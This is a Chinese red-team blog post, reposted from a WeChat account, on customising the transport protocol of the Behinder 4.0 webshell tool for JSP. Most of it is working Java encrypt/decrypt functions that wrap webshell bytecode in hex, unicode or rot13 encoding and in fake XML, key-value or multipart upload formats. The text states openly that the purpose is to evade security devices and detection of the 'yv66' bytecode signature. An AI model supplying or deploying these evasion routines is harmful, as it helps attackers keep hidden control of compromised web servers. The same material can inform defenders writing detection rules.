0x00 前言
冰蝎v4.0开放了传输协议的自定义功能,使得流量魔改更为简单方便,本文以jsp脚本类型为例,提供一些冰蝎4流量魔改的方式
0x01传输协议分析
冰蝎4内置了如下几种传输协议,传输协议可以理解为流量的加密方式
以default_xor传输协议为例,这种传输协议是对原始数据进行了异或加密
效果如下:
我们来去掉加密解密函数的相关代码
如果不用任何加解密函数,request body其实传输的是java 字节码
响应体其实也是明文的固定格式的json类型 {"msg":"执行结果base64编码","status":"c3VjY2Vzcw=="}
0x02冰蝎4.0魔改
变换加密方式
冰蝎4将加解密函数给外置出来,我们可以自己定义通信流量的加密方式,本次列举hex、unicode、rot13等加密方式
hex加密
前面已经分析过传输的data明文数据,所以在它基础上进行base64编码+hex编码,写上加解密函数即可实现hex加密流量
加密函数:
private
byte[] Encrypt(byte[] data) throws Exception
{
String result = java.util.Base64.getEncoder().encodeToString(data).replace(
"+"
,
"<"
).replace(
"/"
,
">"
);
String str=
""
;
for
(
int
i=
0
;i<result.length();i++){
int
ch = (
int
)result.charAt(i);
String s4 = Integer.toHexString(ch);
str = str + s4;
}
return
str.getBytes();
}
解密函数:
private
byte[] Decrypt(byte[] data) throws Exception
{
String s=
new
String(data);
byte[] baKeyword =
new
byte[s.length()/
2
];
for
(
int
i =
0
; i < baKeyword.length; i++){
try
{
baKeyword[i] = (byte)(
0xff
& Integer.parseInt(s.substring(i*
2
, i*
2
+
2
),
16
));
}
catch
(Exception e){
e.printStackTrace();
}
}
try
{
s =
new
String(baKeyword,
"utf-8"
);
}
catch
(Exception e1){
e1.printStackTrace();
}
byte[] str = java.util.Base64.getDecoder().decode(s.replace(
"<"
,
"+"
).replace(
">"
,
"/"
));
return
str;
}
通信流量如下:
unicode加密
在base64编码的基础上加一层unicode编码,写unicode编码的加解密函数
加密函数:
private
byte[] Encrypt(byte[] data) throws Exception
{
String result = java.util.Base64.getEncoder().encodeToString(data).replace(
"+"
,
"<"
).replace(
"/"
,
">"
);
String str=
""
;
StringBuffer unicode =
new
StringBuffer();
for
(
int
i =
0
; i < result.length(); i++){
char
c = result.charAt(i);
unicode.append(
"\u00"
+ Integer.toHexString(c));
}
return
unicode.toString().getBytes();
}
解密函数:
private
byte[] Decrypt(byte[] data) throws Exception
{
String unicode=
new
String(data);
StringBuilder sb =
new
StringBuilder();
int
i =
-1
;
int
pos =
0
;
while
((i = unicode.indexOf(
"\u"
, pos)) !=
-1
) {
sb.append(unicode.substring(pos, i));
if
(i +
5
< unicode.length()) {
pos = i +
6
;
sb.append((
char
) Integer.parseInt(unicode.substring(i +
2
, i +
6
),
16
));
}
}
byte[] str = java.util.Base64.getDecoder().decode(sb.toString().replace(
"<"
,
"+"
).replace(
">"
,
"/"
));
return
str;
}
通信流量如下:
rot13加密
在base64编码的基础上加一层rot13编码,写rot13编码的加解密函数
加密函数:
private
byte[] Encrypt(byte[] data) throws Exception
{
String input = java.util.Base64.getEncoder().encodeToString(data).replace(
"+"
,
"<"
).replace(
"/"
,
">"
);
String str =
""
;
for
(
int
i =
0
; i < input.length(); i++)
{
char
ch = input.charAt(i);
if
(ch >=
'A'
&& ch <=
'Z'
)
{
ch = (
char
) (ch +
13
);
if
(ch >
'Z'
)
{
ch = (
char
)(ch -
26
);
}
}
else
if
(ch >=
'a'
&& ch <=
'z'
)
{
ch = (
char
)(ch +
13
);
if
(ch >
'z'
)
{
ch = (
char
)(ch -
26
);
}
}
str = str + ch;
}
return
str.getBytes();
}
解密函数:
private
byte[] Decrypt(byte[] data) throws Exception
{
String input =
new
String(data);
String str =
""
;
for
(
int
i =
0
; i < input.length(); i++)
{
char
ch = input.charAt(i);
if
(ch >=
'A'
&& ch <=
'Z'
)
{
ch = (
char
) (ch +
13
);
if
(ch >
'Z'
)
{
ch = (
char
)(ch -
26
);
}
}
else
if
(ch >=
'a'
&& ch <=
'z'
)
{
ch = (
char
)(ch +
13
);
if
(ch >
'z'
)
{
ch = (
char
)(ch -
26
);
}
}
str = str + ch;
}
return
java.util.Base64.getDecoder().decode(str.replace(
"<"
,
"+"
).replace(
">"
,
"/"
));
}
通信流量如下:
变换传输方式
之前列举了一些常见的加密方式,单纯对流量进行加密可能会被检测出来,我们可以对通信流量加入一些业务数据进行混淆,可能会更容易绕过防护设备
xml格式传输
将字节码base64编码后的数据替换掉xml模板中指定的字符串就ok了,这样通信流量就变成了xml格式
加密函数:
private
byte[] Encrypt(byte[] data) throws Exception
{
String xml=
"<?xml version="1.0"?><user><id>1</id><content>DaYer0</content></user>"
;
xml=xml.replace(
"DaYer0"
,java.util.Base64.getEncoder().encodeToString(data).replace(
"+"
,
"<"
).replace(
"/"
,
">"
));
return
xml.getBytes();
}
解密函数:
private
byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=
new
java.io.ByteArrayOutputStream();
bos.write(data,
46
,data.length
-63
);
return
java.util.Base64.getDecoder().decode(
new
String(bos.toByteArray()).replace(
"<"
,
"+"
).replace(
">"
,
"/"
));
}
通信流量如下:
key-value格式传输
当然也可以定义一段key-value的数据,然后用base64编码后的数据替换掉指定字符串
加密函数:
private
byte[] Encrypt(byte[] data) throws Exception
{
String json=
"id=1&content=DaYer0&token=1452178369&status=00000"
;
json=json.replace(
"DaYer0"
,java.util.Base64.getEncoder().encodeToString(data).replace(
"+"
,
"<"
).replace(
"/"
,
">"
));
return
json.getBytes();
}
解密函数:
private
byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=
new
java.io.ByteArrayOutputStream();
bos.write(data,
13
,data.length
-43
);
return
java.util.Base64.getDecoder().decode(
new
String(bos.toByteArray()).replace(
"<"
,
"+"
).replace(
">"
,
"/"
));
}
通信流量如下:
multipart格式传输
定义一段multipart格式的数据,然后替换指定字符串
加密函数:
private
byte[] Encrypt(byte[] data) throws Exception
{
String upload=
"-----------------------------7e6103b1815de Content-Disposition:form-data;name="uploadFile";filename="test.png" Content-Type:application/octet-stream DaYer0 -----------------------------7e6103b1815de--"
;
upload=upload.replace(
"DaYer0"
,java.util.Base64.getEncoder().encodeToString(data).replace(
"+"
,
"<"
).replace(
"/"
,
">"
));
return
upload.getBytes();
}
解密函数:
private
byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=
new
java.io.ByteArrayOutputStream();
bos.write(data,
150
,data.length
-195
);
return
java.util.Base64.getDecoder().decode(
new
String(bos.toByteArray()).replace(
"<"
,
"+"
).replace(
">"
,
"/"
));
}
通信流量如下:
加密方式+传输方式组合
用变换传输方式的方法可以使通信流量更像业务,但是加密流量只进行了一次base64编码,我们知道原始流量是java字节码,在经过base64编码后会有yv66这样的魔术头,这样很容易被检测到,所以我们可以用加密方式和传输方式相结合的方法来躲避检测
xml格式+rot13加密
加密流量最外层进行一次rot13编码,然后再用xml的格式进行混淆
加密函数:
private
byte[] Encrypt(byte[] data) throws Exception
{
String xml=
"<?xml version="1.0"?><user><id>1</id><content>DaYer0</content></user>"
;
String input = java.util.Base64.getEncoder().encodeToString(data).replace(
"+"
,
"<"
).replace(
"/"
,
">"
);
String str =
""
;
for
(
int
i =
0
; i < input.length(); i++)
{
char
ch = input.charAt(i);
if
(ch >=
'A'
&& ch <=
'Z'
)
{
ch = (
char
) (ch +
13
);
if
(ch >
'Z'
)
{
ch = (
char
)(ch -
26
);
}
}
else
if
(ch >=
'a'
&& ch <=
'z'
)
{
ch = (
char
)(ch +
13
);
if
(ch >
'z'
)
{
ch = (
char
)(ch -
26
);
}
}
str = str + ch;
}
xml=xml.replace(
"DaYer0"
,str);
return
xml.getBytes();
}
解密函数:
private
byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=
new
java.io.ByteArrayOutputStream();
bos.write(data,
46
,data.length
-63
);
String input =
new
String(bos.toByteArray());
String str =
""
;
for
(
int
i =
0
; i < input.length(); i++)
{
char
ch = input.charAt(i);
if
(ch >=
'A'
&& ch <=
'Z'
)
{
ch = (
char
) (ch +
13
);
if
(ch >
'Z'
)
{
ch = (
char
)(ch -
26
);
}
}
else
if
(ch >=
'a'
&& ch <=
'z'
)
{
ch = (
char
)(ch +
13
);
if
(ch >
'z'
)
{
ch = (
char
)(ch -
26
);
}
}
str = str + ch;
}
return
java.util.Base64.getDecoder().decode(str.replace(
"<"
,
"+"
).replace(
">"
,
"/"
));
}
通信流量如下:
key-value格式+unicode加密
加密流量最外层进行一次unicode编码,然后再用key-value的格式进行混淆
加密函数:
private
byte[] Encrypt(byte[] data) throws Exception
{
String content=
"id=1&content=DaYer0&token=1452178369&status=00000"
;
String result = java.util.Base64.getEncoder().encodeToString(data).replace(
"+"
,
"<"
).replace(
"/"
,
">"
);
String str=
""
;
StringBuffer unicode =
new
StringBuffer();
for
(
int
i =
0
; i < result.length(); i++){
char
c = result.charAt(i);
unicode.append(
"\u00"
+ Integer.toHexString(c));
}
content=content.replace(
"DaYer0"
,unicode.toString());
return
content.getBytes();
}
解密函数:
private
byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=
new
java.io.ByteArrayOutputStream();
bos.write(data,
13
,data.length
-43
);
String unicode=
new
String(bos.toByteArray());
StringBuilder sb =
new
StringBuilder();
int
i =
-1
;
int
pos =
0
;
while
((i = unicode.indexOf(
"\u"
, pos)) !=
-1
) {
sb.append(unicode.substring(pos, i));
if
(i +
5
< unicode.length()) {
pos = i +
6
;
sb.append((
char
) Integer.parseInt(unicode.substring(i +
2
, i +
6
),
16
));
}
}
byte[] str = java.util.Base64.getDecoder().decode(sb.toString().replace(
"<"
,
"+"
).replace(
">"
,
"/"
));
return
str;
}
通信流量如下:
multipart格式+hex加密
加密流量最外层进行一次hex编码,然后再用multipart的格式进行混淆
加密函数:
private
byte[] Encrypt(byte[] data) throws Exception
{
String upload=
"-----------------------------7e6103b1815de Content-Disposition:form-data;name="uploadFile";filename="test.png" Content-Type:application/octet-stream DaYer0 -----------------------------7e6103b1815de--"
;
String str =
""
;
String result = java.util.Base64.getEncoder().encodeToString(data).replace(
"+"
,
"<"
).replace(
"/"
,
">"
);
for
(
int
i=
0
;i<result.length();i++){
int
ch = (
int
)result.charAt(i);
String s4 = Integer.toHexString(ch);
str = str + s4;
}
upload=upload.replace(
"DaYer0"
,str);
return
upload.getBytes();
}
解密函数:
private
byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=
new
java.io.ByteArrayOutputStream();
bos.write(data,
150
,data.length
-195
);
String s=
new
String(bos.toByteArray());
byte[] baKeyword =
new
byte[s.length()/
2
];
for
(
int
i =
0
; i < baKeyword.length; i++){
try
{
baKeyword[i] = (byte)(
0xff
& Integer.parseInt(s.substring(i*
2
, i*
2
+
2
),
16
));
}
catch
(Exception e){
e.printStackTrace();
}
}
try
{
s =
new
String(baKeyword,
"utf-8"
);
}
catch
(Exception e1){
e1.printStackTrace();
}
return
java.util.Base64.getDecoder().decode(s.replace(
"<"
,
"+"
).replace(
">"
,
"/"
));
}
通信流量如下:
0x03 总结
本文针对冰蝎4流量魔改提供了一些魔改的方式,当然有好的魔改思路也欢迎师傅们分享,最后感谢冰蝎作者rebeyond
文章来源于:https://xz.aliyun.com/t/12453
原文始发于微信公众号(红队蓝军):冰蝎4.0流量分析及魔改
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论